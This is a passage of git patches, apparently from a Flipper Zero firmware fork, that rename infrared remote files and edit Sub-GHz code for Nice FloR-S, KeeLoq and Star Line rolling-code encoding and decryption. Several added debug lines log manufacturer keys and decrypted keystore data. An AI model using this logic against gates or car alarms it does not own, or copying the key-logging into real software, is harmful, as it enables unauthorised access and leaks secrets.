assets/resources/infrared/{assets => }/Stlth_acou.ir (100%) rename assets/resources/infrared/{assets => }/Sunbrite.ir (100%) rename assets/resources/infrared/{assets => }/Szxlcom_cams.ir (100%) rename assets/resources/infrared/{assets => }/Tcl.ir (100%) rename assets/resources/infrared/{assets => }/Tcl_32s327.ir (100%) rename assets/resources/infrared/{assets => }/Tcl_tv.ir (100%) rename assets/resources/infrared/{assets => }/Vizio.ir (100%) rename assets/resources/infrared/{assets => }/Vizio_Soundbar.ir (100%) rename assets/resources/infrared/{assets => }/Vornado.ir (100%) rename assets/resources/infrared/{assets => }/Westinghouse.ir (100%) rename assets/resources/infrared/{assets => }/Whynter_AC.ir (100%) rename assets/resources/infrared/{assets => }/Xbox.ir (100%) rename assets/resources/infrared/{assets => }/Yamaha_rx.ir (100%) rename assets/resources/infrared/{assets => }/Zenith_AC.ir (100%) diff --git a/assets/resources/infrared/assets/Amino_amigo.ir b/assets/resources/infrared/Amino_amigo.ir similarity index 100% rename from assets/resources/infrared/assets/Amino_amigo.ir rename to assets/resources/infrared/Amino_amigo.ir diff --git a/assets/resources/infrared/assets/Amz_snd_bar.ir b/assets/resources/infrared/Amz_snd_bar.ir similarity index 100% rename from assets/resources/infrared/assets/Amz_snd_bar.ir rename to assets/resources/infrared/Amz_snd_bar.ir diff --git a/assets/resources/infrared/assets/Apple_tv.ir b/assets/resources/infrared/Apple_tv.ir similarity index 100% rename from assets/resources/infrared/assets/Apple_tv.ir rename to assets/resources/infrared/Apple_tv.ir diff --git a/assets/resources/infrared/assets/BenQ.ir b/assets/resources/infrared/BenQ.ir similarity index 100% rename from assets/resources/infrared/assets/BenQ.ir rename to assets/resources/infrared/BenQ.ir diff --git a/assets/resources/infrared/assets/Casio-Projector_yt130.ir b/assets/resources/infrared/Casio-Projector_yt130.ir similarity index 100% rename from assets/resources/infrared/assets/Casio-Projector_yt130.ir rename to assets/resources/infrared/Casio-Projector_yt130.ir diff --git a/assets/resources/infrared/assets/Cv610_remote.ir b/assets/resources/infrared/Cv610_remote.ir similarity index 100% rename from assets/resources/infrared/assets/Cv610_remote.ir rename to assets/resources/infrared/Cv610_remote.ir diff --git a/assets/resources/infrared/assets/Da_lite_proj_scrn.ir b/assets/resources/infrared/Da_lite_proj_scrn.ir similarity index 100% rename from assets/resources/infrared/assets/Da_lite_proj_scrn.ir rename to assets/resources/infrared/Da_lite_proj_scrn.ir diff --git a/assets/resources/infrared/assets/Direct_tv.ir b/assets/resources/infrared/Direct_tv.ir similarity index 100% rename from assets/resources/infrared/assets/Direct_tv.ir rename to assets/resources/infrared/Direct_tv.ir diff --git a/assets/resources/infrared/assets/Dragonfly_scrn.ir b/assets/resources/infrared/Dragonfly_scrn.ir similarity index 100% rename from assets/resources/infrared/assets/Dragonfly_scrn.ir rename to assets/resources/infrared/Dragonfly_scrn.ir diff --git a/assets/resources/infrared/assets/Dreo_heater.ir b/assets/resources/infrared/Dreo_heater.ir similarity index 100% rename from assets/resources/infrared/assets/Dreo_heater.ir rename to assets/resources/infrared/Dreo_heater.ir diff --git a/assets/resources/infrared/assets/Dyson_air_multiplier.ir b/assets/resources/infrared/Dyson_air_multiplier.ir similarity index 100% rename from assets/resources/infrared/assets/Dyson_air_multiplier.ir rename to assets/resources/infrared/Dyson_air_multiplier.ir diff --git a/assets/resources/infrared/assets/Dyson_hp09.ir b/assets/resources/infrared/Dyson_hp09.ir similarity index 100% rename from assets/resources/infrared/assets/Dyson_hp09.ir rename to assets/resources/infrared/Dyson_hp09.ir diff --git a/assets/resources/infrared/assets/Epson.ir b/assets/resources/infrared/Epson.ir similarity index 100% rename from assets/resources/infrared/assets/Epson.ir rename to assets/resources/infrared/Epson.ir diff --git a/assets/resources/infrared/assets/Hdmi_switch.ir b/assets/resources/infrared/Hdmi_switch.ir similarity index 100% rename from assets/resources/infrared/assets/Hdmi_switch.ir rename to assets/resources/infrared/Hdmi_switch.ir diff --git a/assets/resources/infrared/assets/LG_AC.ir b/assets/resources/infrared/LG_AC.ir similarity index 100% rename from assets/resources/infrared/assets/LG_AC.ir rename to assets/resources/infrared/LG_AC.ir diff --git a/assets/resources/infrared/assets/LG_BlueRay.ir b/assets/resources/infrared/LG_BlueRay.ir similarity index 100% rename from assets/resources/infrared/assets/LG_BlueRay.ir rename to assets/resources/infrared/LG_BlueRay.ir diff --git a/assets/resources/infrared/assets/LG_C1.ir b/assets/resources/infrared/LG_C1.ir similarity index 100% rename from assets/resources/infrared/assets/LG_C1.ir rename to assets/resources/infrared/LG_C1.ir diff --git a/assets/resources/infrared/assets/Lasko_fan.ir b/assets/resources/infrared/Lasko_fan.ir similarity index 100% rename from assets/resources/infrared/assets/Lasko_fan.ir rename to assets/resources/infrared/Lasko_fan.ir diff --git a/assets/resources/infrared/assets/Lasko_heater.ir b/assets/resources/infrared/Lasko_heater.ir similarity index 100% rename from assets/resources/infrared/assets/Lasko_heater.ir rename to assets/resources/infrared/Lasko_heater.ir diff --git a/assets/resources/infrared/assets/NEC.ir b/assets/resources/infrared/NEC.ir similarity index 100% rename from assets/resources/infrared/assets/NEC.ir rename to assets/resources/infrared/NEC.ir diff --git a/assets/resources/infrared/assets/Nikon.ir b/assets/resources/infrared/Nikon.ir similarity index 100% rename from assets/resources/infrared/assets/Nikon.ir rename to assets/resources/infrared/Nikon.ir diff --git a/assets/resources/infrared/assets/Old_sonyxbr.ir b/assets/resources/infrared/Old_sonyxbr.ir similarity index 100% rename from assets/resources/infrared/assets/Old_sonyxbr.ir rename to assets/resources/infrared/Old_sonyxbr.ir diff --git a/assets/resources/infrared/assets/Panasonic_TC-P50S2.ir b/assets/resources/infrared/Panasonic_TC-P50S2.ir similarity index 100% rename from assets/resources/infrared/assets/Panasonic_TC-P50S2.ir rename to assets/resources/infrared/Panasonic_TC-P50S2.ir diff --git a/assets/resources/infrared/assets/Pioneer_1770nex.ir b/assets/resources/infrared/Pioneer_1770nex.ir similarity index 100% rename from assets/resources/infrared/assets/Pioneer_1770nex.ir rename to assets/resources/infrared/Pioneer_1770nex.ir diff --git a/assets/resources/infrared/assets/Roku.ir b/assets/resources/infrared/Roku.ir similarity index 100% rename from assets/resources/infrared/assets/Roku.ir rename to assets/resources/infrared/Roku.ir diff --git a/assets/resources/infrared/assets/Roku2.ir b/assets/resources/infrared/Roku2.ir similarity index 100% rename from assets/resources/infrared/assets/Roku2.ir rename to assets/resources/infrared/Roku2.ir diff --git a/assets/resources/infrared/assets/Samsung.ir b/assets/resources/infrared/Samsung.ir similarity index 100% rename from assets/resources/infrared/assets/Samsung.ir rename to assets/resources/infrared/Samsung.ir diff --git a/assets/resources/infrared/assets/Samsung_TV.ir b/assets/resources/infrared/Samsung_TV.ir similarity index 100% rename from assets/resources/infrared/assets/Samsung_TV.ir rename to assets/resources/infrared/Samsung_TV.ir diff --git a/assets/resources/infrared/assets/Samsung_e6.ir b/assets/resources/infrared/Samsung_e6.ir similarity index 100% rename from assets/resources/infrared/assets/Samsung_e6.ir rename to assets/resources/infrared/Samsung_e6.ir diff --git a/assets/resources/infrared/assets/Scrn_innov.ir b/assets/resources/infrared/Scrn_innov.ir similarity index 100% rename from assets/resources/infrared/assets/Scrn_innov.ir rename to assets/resources/infrared/Scrn_innov.ir diff --git a/assets/resources/infrared/assets/Sharp_Roku_TV.ir b/assets/resources/infrared/Sharp_Roku_TV.ir similarity index 100% rename from assets/resources/infrared/assets/Sharp_Roku_TV.ir rename to assets/resources/infrared/Sharp_Roku_TV.ir diff --git a/assets/resources/infrared/assets/Sonyxbr.ir b/assets/resources/infrared/Sonyxbr.ir similarity index 100% rename from assets/resources/infrared/assets/Sonyxbr.ir rename to assets/resources/infrared/Sonyxbr.ir diff --git a/assets/resources/infrared/assets/Stlth_acou.ir b/assets/resources/infrared/Stlth_acou.ir similarity index 100% rename from assets/resources/infrared/assets/Stlth_acou.ir rename to assets/resources/infrared/Stlth_acou.ir diff --git a/assets/resources/infrared/assets/Sunbrite.ir b/assets/resources/infrared/Sunbrite.ir similarity index 100% rename from assets/resources/infrared/assets/Sunbrite.ir rename to assets/resources/infrared/Sunbrite.ir diff --git a/assets/resources/infrared/assets/Szxlcom_cams.ir b/assets/resources/infrared/Szxlcom_cams.ir similarity index 100% rename from assets/resources/infrared/assets/Szxlcom_cams.ir rename to assets/resources/infrared/Szxlcom_cams.ir diff --git a/assets/resources/infrared/assets/Tcl.ir b/assets/resources/infrared/Tcl.ir similarity index 100% rename from assets/resources/infrared/assets/Tcl.ir rename to assets/resources/infrared/Tcl.ir diff --git a/assets/resources/infrared/assets/Tcl_32s327.ir b/assets/resources/infrared/Tcl_32s327.ir similarity index 100% rename from assets/resources/infrared/assets/Tcl_32s327.ir rename to assets/resources/infrared/Tcl_32s327.ir diff --git a/assets/resources/infrared/assets/Tcl_tv.ir b/assets/resources/infrared/Tcl_tv.ir similarity index 100% rename from assets/resources/infrared/assets/Tcl_tv.ir rename to assets/resources/infrared/Tcl_tv.ir diff --git a/assets/resources/infrared/assets/Vizio.ir b/assets/resources/infrared/Vizio.ir similarity index 100% rename from assets/resources/infrared/assets/Vizio.ir rename to assets/resources/infrared/Vizio.ir diff --git a/assets/resources/infrared/assets/Vizio_Soundbar.ir b/assets/resources/infrared/Vizio_Soundbar.ir similarity index 100% rename from assets/resources/infrared/assets/Vizio_Soundbar.ir rename to assets/resources/infrared/Vizio_Soundbar.ir diff --git a/assets/resources/infrared/assets/Vornado.ir b/assets/resources/infrared/Vornado.ir similarity index 100% rename from assets/resources/infrared/assets/Vornado.ir rename to assets/resources/infrared/Vornado.ir diff --git a/assets/resources/infrared/assets/Westinghouse.ir b/assets/resources/infrared/Westinghouse.ir similarity index 100% rename from assets/resources/infrared/assets/Westinghouse.ir rename to assets/resources/infrared/Westinghouse.ir diff --git a/assets/resources/infrared/assets/Whynter_AC.ir b/assets/resources/infrared/Whynter_AC.ir similarity index 100% rename from assets/resources/infrared/assets/Whynter_AC.ir rename to assets/resources/infrared/Whynter_AC.ir diff --git a/assets/resources/infrared/assets/Xbox.ir b/assets/resources/infrared/Xbox.ir similarity index 100% rename from assets/resources/infrared/assets/Xbox.ir rename to assets/resources/infrared/Xbox.ir diff --git a/assets/resources/infrared/assets/Yamaha_rx.ir b/assets/resources/infrared/Yamaha_rx.ir similarity index 100% rename from assets/resources/infrared/assets/Yamaha_rx.ir rename to assets/resources/infrared/Yamaha_rx.ir diff --git a/assets/resources/infrared/assets/Zenith_AC.ir b/assets/resources/infrared/Zenith_AC.ir similarity index 100% rename from assets/resources/infrared/assets/Zenith_AC.ir rename to assets/resources/infrared/Zenith_AC.ir From 844466c43807f9a802fde6777f666f59c14b7862 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 1 Apr 2022 09:54:29 +0300 Subject: [PATCH 038/461] Fix hex output debugging --- lib/subghz/protocols/nice_flor_s.c | 10 +++++----- lib/subghz/subghz_keystore.c | 2 +- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index 4cbbe29a6..2fd78840a 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -132,9 +132,9 @@ static bool FURI_LOG_I(TAG, "counter = %X", instance->generic.cnt); FURI_LOG_I(TAG, "button = %X", btn); uint64_t decrypt = (uint64_t)( (instance->generic.serial << 16) | (instance->generic.cnt) ); - FURI_LOG_I(TAG, "decrypt = %X", decrypt); + FURI_LOG_I(TAG, "decrypt = %016llX", decrypt); uint64_t enc_part = (uint64_t)subghz_protocol_nice_flor_s_encrypt(decrypt, file_name); - FURI_LOG_I(TAG, "enc_part = %X", enc_part); + FURI_LOG_I(TAG, "enc_part = %016llX", enc_part); for (int i = 0; i < 16; i++) { @@ -170,7 +170,7 @@ static bool //Button 4 instance->generic.data = ( (btn << 4) | ((0xF ^ btn ^ loops[3][i]) << 44) | (enc_part) ); } - FURI_LOG_I(TAG, "key = %X", instance->generic.data); + FURI_LOG_I(TAG, "key = %016llX", instance->generic.data); //Send header for(uint8_t i = 35; i > 0; i--) { @@ -323,7 +323,7 @@ uint64_t subghz_protocol_nice_flor_s_encrypt(uint64_t data, const char* file_nam k = ~p[3]; p[3] = ~p[1]; p[1] = k; - FURI_LOG_I(TAG, "encrypted_data = %X", data); + FURI_LOG_I(TAG, "encrypted_data = %016llX", data); return data; } @@ -362,7 +362,7 @@ static uint64_t p[1] = k; } } - FURI_LOG_I(TAG, "decrypted_data = %X", data); + FURI_LOG_I(TAG, "decrypted_data = %016llX", data); return data; } diff --git a/lib/subghz/subghz_keystore.c b/lib/subghz/subghz_keystore.c index 55d781a6f..e34b7243a 100644 --- a/lib/subghz/subghz_keystore.c +++ b/lib/subghz/subghz_keystore.c @@ -587,7 +587,7 @@ bool subghz_keystore_raw_get_data(const char* file_name, size_t offset, uint8_t* break; } memcpy(data, (uint8_t*)decrypted_line + (offset - (offset / 16) * 16), len); - FURI_LOG_I(TAG, "decrypted line: %X", decrypted_line); + FURI_LOG_I(TAG, "decrypted line: %016llX", decrypted_line); } while(0); furi_hal_crypto_store_unload_key(SUBGHZ_KEYSTORE_FILE_ENCRYPTION_KEY_SLOT); From 082bd9de5e17e125f4e48e71f3ff907f1f1bfa97 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 1 Apr 2022 10:06:10 +0300 Subject: [PATCH 039/461] fix --- lib/subghz/protocols/nice_flor_s.c | 6 +++--- lib/subghz/subghz_keystore.c | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index 2fd78840a..4db2f6f8b 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -132,9 +132,9 @@ static bool FURI_LOG_I(TAG, "counter = %X", instance->generic.cnt); FURI_LOG_I(TAG, "button = %X", btn); uint64_t decrypt = (uint64_t)( (instance->generic.serial << 16) | (instance->generic.cnt) ); - FURI_LOG_I(TAG, "decrypt = %016llX", decrypt); + FURI_LOG_I(TAG, "decrypt = %016X", decrypt); uint64_t enc_part = (uint64_t)subghz_protocol_nice_flor_s_encrypt(decrypt, file_name); - FURI_LOG_I(TAG, "enc_part = %016llX", enc_part); + FURI_LOG_I(TAG, "enc_part = %016X", enc_part); for (int i = 0; i < 16; i++) { @@ -170,7 +170,7 @@ static bool //Button 4 instance->generic.data = ( (btn << 4) | ((0xF ^ btn ^ loops[3][i]) << 44) | (enc_part) ); } - FURI_LOG_I(TAG, "key = %016llX", instance->generic.data); + FURI_LOG_I(TAG, "key = %016X", instance->generic.data); //Send header for(uint8_t i = 35; i > 0; i--) { diff --git a/lib/subghz/subghz_keystore.c b/lib/subghz/subghz_keystore.c index e34b7243a..57eea544f 100644 --- a/lib/subghz/subghz_keystore.c +++ b/lib/subghz/subghz_keystore.c @@ -587,7 +587,7 @@ bool subghz_keystore_raw_get_data(const char* file_name, size_t offset, uint8_t* break; } memcpy(data, (uint8_t*)decrypted_line + (offset - (offset / 16) * 16), len); - FURI_LOG_I(TAG, "decrypted line: %016llX", decrypted_line); + FURI_LOG_I(TAG, "decrypted line: %016X", decrypted_line); } while(0); furi_hal_crypto_store_unload_key(SUBGHZ_KEYSTORE_FILE_ENCRYPTION_KEY_SLOT); From 26aa177d9c12e04acc95711f45ec2e1480927bdc Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 1 Apr 2022 10:13:36 +0300 Subject: [PATCH 040/461] Update nice_flor_s.c --- lib/subghz/protocols/nice_flor_s.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index 4db2f6f8b..4738cc9a4 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -323,7 +323,7 @@ uint64_t subghz_protocol_nice_flor_s_encrypt(uint64_t data, const char* file_nam k = ~p[3]; p[3] = ~p[1]; p[1] = k; - FURI_LOG_I(TAG, "encrypted_data = %016llX", data); + FURI_LOG_I(TAG, "encrypted_data = %016X", data); return data; } @@ -362,7 +362,7 @@ static uint64_t p[1] = k; } } - FURI_LOG_I(TAG, "decrypted_data = %016llX", data); + FURI_LOG_I(TAG, "decrypted_data = %016X", data); return data; } From f89544dfa13212f43d7490af08057407abb1ed37 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 1 Apr 2022 10:54:30 +0300 Subject: [PATCH 041/461] Update nice_flor_s.c --- lib/subghz/protocols/nice_flor_s.c | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index 4738cc9a4..5257156bf 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -507,6 +507,7 @@ static void subghz_protocol_nice_flor_s_remote_controller( instance->btn = 0; } else { uint64_t decrypt = subghz_protocol_nice_flor_s_decrypt(instance, file_name); + FURI_LOG_I(TAG, "init_decrypted_data = %016X", decrypt); instance->cnt = decrypt & 0xFFFF; instance->serial = (decrypt >> 16) & 0xFFFFFFF; instance->btn = (decrypt >> 48) & 0xF; From 0e2542e1c451b97e6235c95018ac61bae7b203c3 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 1 Apr 2022 23:06:24 +0300 Subject: [PATCH 042/461] New debug info and fix FloR-S bytes logic --- lib/subghz/protocols/keeloq.c | 24 +++++++++++++++++++++++- lib/subghz/protocols/nice_flor_s.c | 30 +++++++++++++++--------------- lib/subghz/protocols/star_line.c | 14 +++++++++++++- lib/subghz/subghz_keystore.c | 5 ++++- 4 files changed, 55 insertions(+), 18 deletions(-) diff --git a/lib/subghz/protocols/keeloq.c b/lib/subghz/protocols/keeloq.c index 9d97107d2..b6c976f3d 100644 --- a/lib/subghz/protocols/keeloq.c +++ b/lib/subghz/protocols/keeloq.c @@ -154,7 +154,7 @@ static bool subghz_protocol_keeloq_gen_data(SubGhzProtocolEncoderKeeloq* instanc code_found_reverse = subghz_protocol_blocks_reverse_key( instance->generic.data, instance->generic.data_count_bit); hop = code_found_reverse & 0x00000000ffffffff; - FURI_LOG_I(TAG, "hop = %X", hop); + FURI_LOG_I(TAG, "hop = %llX", hop); break; } break; @@ -483,6 +483,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( case KEELOQ_LEARNING_SIMPLE: // Simple Learning decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %llX", manufacture_code->key); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); return 1; @@ -492,6 +493,8 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Normal Learning // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 man = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %llX", manufacture_code->key); + FURI_LOG_I(TAG, "man_learning: %llX", man); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -501,6 +504,8 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( case KEELOQ_LEARNING_SECURE: man = subghz_protocol_keeloq_common_secure_learning( fix, seed, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %llX", manufacture_code->key); + FURI_LOG_I(TAG, "man_learning: %llX", man); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -510,6 +515,8 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( case KEELOQ_LEARNING_MAGIC_XOR_TYPE_1: man = subghz_protocol_keeloq_common_magic_xor_type1_learning( fix, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %llX", manufacture_code->key); + FURI_LOG_I(TAG, "man_learning: %llX", man); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -519,6 +526,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( case KEELOQ_LEARNING_UNKNOWN: // Simple Learning decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %llX", manufacture_code->key); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); return 1; @@ -530,6 +538,8 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( man_rev_byte = (uint8_t)(manufacture_code->key >> i); man_rev = man_rev | man_rev_byte << (56 - i); } + FURI_LOG_I(TAG, "man_learning_rev: %llX", man_rev); + FURI_LOG_I(TAG, "man_learning: %llX", man); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_rev); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -539,6 +549,8 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Normal Learning // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 man = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %llX", manufacture_code->key); + FURI_LOG_I(TAG, "man_learning: %llX", man); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -547,6 +559,8 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Check for mirrored man man = subghz_protocol_keeloq_common_normal_learning(fix, man_rev); + FURI_LOG_I(TAG, "man_learning_rev: %llX", man_rev); + FURI_LOG_I(TAG, "man_learning: %llX", man); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -556,6 +570,8 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Secure Learning man = subghz_protocol_keeloq_common_secure_learning( fix, seed, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %llX", manufacture_code->key); + FURI_LOG_I(TAG, "man_learning: %llX", man); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -564,6 +580,8 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Check for mirrored man man = subghz_protocol_keeloq_common_secure_learning(fix, seed, man_rev); + FURI_LOG_I(TAG, "man_learning_rev: %llX", man_rev); + FURI_LOG_I(TAG, "man_learning: %llX", man); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -573,6 +591,8 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Magic xor type1 learning man = subghz_protocol_keeloq_common_magic_xor_type1_learning( fix, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %llX", manufacture_code->key); + FURI_LOG_I(TAG, "man_learning: %llX", man); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -581,6 +601,8 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Check for mirrored man man = subghz_protocol_keeloq_common_magic_xor_type1_learning(fix, man_rev); + FURI_LOG_I(TAG, "man_learning_rev: %llX", man_rev); + FURI_LOG_I(TAG, "man_learning: %llX", man); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index 5257156bf..0c5727036 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -128,13 +128,13 @@ static bool } instance->generic.cnt++; - FURI_LOG_I(TAG, "serial = %X", instance->generic.serial); - FURI_LOG_I(TAG, "counter = %X", instance->generic.cnt); - FURI_LOG_I(TAG, "button = %X", btn); - uint64_t decrypt = (uint64_t)( (instance->generic.serial << 16) | (instance->generic.cnt) ); - FURI_LOG_I(TAG, "decrypt = %016X", decrypt); - uint64_t enc_part = (uint64_t)subghz_protocol_nice_flor_s_encrypt(decrypt, file_name); - FURI_LOG_I(TAG, "enc_part = %016X", enc_part); + FURI_LOG_I(TAG, "serial = %llX", instance->generic.serial); + FURI_LOG_I(TAG, "counter = %llX", instance->generic.cnt); + FURI_LOG_I(TAG, "button = %llX", btn); + uint64_t decrypt = ((uint64_t)instance->generic.serial << 16) | instance->generic.cnt; + FURI_LOG_I(TAG, "decrypt = %llX", decrypt); + uint64_t enc_part = subghz_protocol_nice_flor_s_encrypt(decrypt, file_name); + FURI_LOG_I(TAG, "enc_part = %llX", enc_part); for (int i = 0; i < 16; i++) { @@ -156,21 +156,21 @@ static bool if (btn == 0x1) { //Button 1 - instance->generic.data = ( (btn << 4) | (0xF ^ btn ^ loops[0][i]) << 44 | (enc_part) ); + instance->generic.data = ((uint64_t)btn << 4) | (0xF ^ btn ^ loops[0][i]) << 44 | enc_part; } if (btn == 0x2) { //Button 2 - instance->generic.data = ( (btn << 4) | (0xF ^ btn ^ loops[1][i]) << 44 | (enc_part) ); + instance->generic.data = ((uint64_t)btn << 4) | (0xF ^ btn ^ loops[1][i]) << 44 | enc_part; } if (btn == 0x4) { //Button 3 - instance->generic.data = ( (btn << 4) | (0xF ^ btn ^ loops[2][i]) << 44 | (enc_part) ); + instance->generic.data = ((uint64_t)btn << 4) | (0xF ^ btn ^ loops[2][i]) << 44 | enc_part; } if (btn == 0x8) { //Button 4 - instance->generic.data = ( (btn << 4) | ((0xF ^ btn ^ loops[3][i]) << 44) | (enc_part) ); + instance->generic.data = ((uint64_t)btn << 4) | (0xF ^ btn ^ loops[3][i]) << 44 | enc_part; } - FURI_LOG_I(TAG, "key = %016X", instance->generic.data); + FURI_LOG_I(TAG, "key = %llX", instance->generic.data); //Send header for(uint8_t i = 35; i > 0; i--) { @@ -323,7 +323,7 @@ uint64_t subghz_protocol_nice_flor_s_encrypt(uint64_t data, const char* file_nam k = ~p[3]; p[3] = ~p[1]; p[1] = k; - FURI_LOG_I(TAG, "encrypted_data = %016X", data); + FURI_LOG_I(TAG, "encrypted_data = %llX", data); return data; } @@ -362,7 +362,7 @@ static uint64_t p[1] = k; } } - FURI_LOG_I(TAG, "decrypted_data = %016X", data); + FURI_LOG_I(TAG, "decrypted_data = %llX", data); return data; } @@ -507,7 +507,7 @@ static void subghz_protocol_nice_flor_s_remote_controller( instance->btn = 0; } else { uint64_t decrypt = subghz_protocol_nice_flor_s_decrypt(instance, file_name); - FURI_LOG_I(TAG, "init_decrypted_data = %016X", decrypt); + FURI_LOG_I(TAG, "init_decrypted_data = %llX", decrypt); instance->cnt = decrypt & 0xFFFF; instance->serial = (decrypt >> 16) & 0xFFFFFFF; instance->btn = (decrypt >> 48) & 0xF; diff --git a/lib/subghz/protocols/star_line.c b/lib/subghz/protocols/star_line.c index c65f529a0..1b050ccbd 100644 --- a/lib/subghz/protocols/star_line.c +++ b/lib/subghz/protocols/star_line.c @@ -149,7 +149,10 @@ static bool subghz_protocol_star_line_gen_data(SubGhzProtocolEncoderStarLine* in hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); break; case KEELOQ_LEARNING_UNKNOWN: - hop = 0; //todo + code_found_reverse = subghz_protocol_blocks_reverse_key( + instance->generic.data, instance->generic.data_count_bit); + hop = code_found_reverse & 0x00000000ffffffff; + FURI_LOG_I(TAG, "hop = %llX", hop); break; } break; @@ -457,6 +460,7 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( case KEELOQ_LEARNING_SIMPLE: //Simple Learning decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %llX", manufacture_code->key); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); return 1; @@ -467,6 +471,8 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 man_normal_learning = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %llX", manufacture_code->key); + FURI_LOG_I(TAG, "man_learning: %llX", man); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -476,6 +482,7 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( case KEELOQ_LEARNING_UNKNOWN: // Simple Learning decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %llX", manufacture_code->key); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { 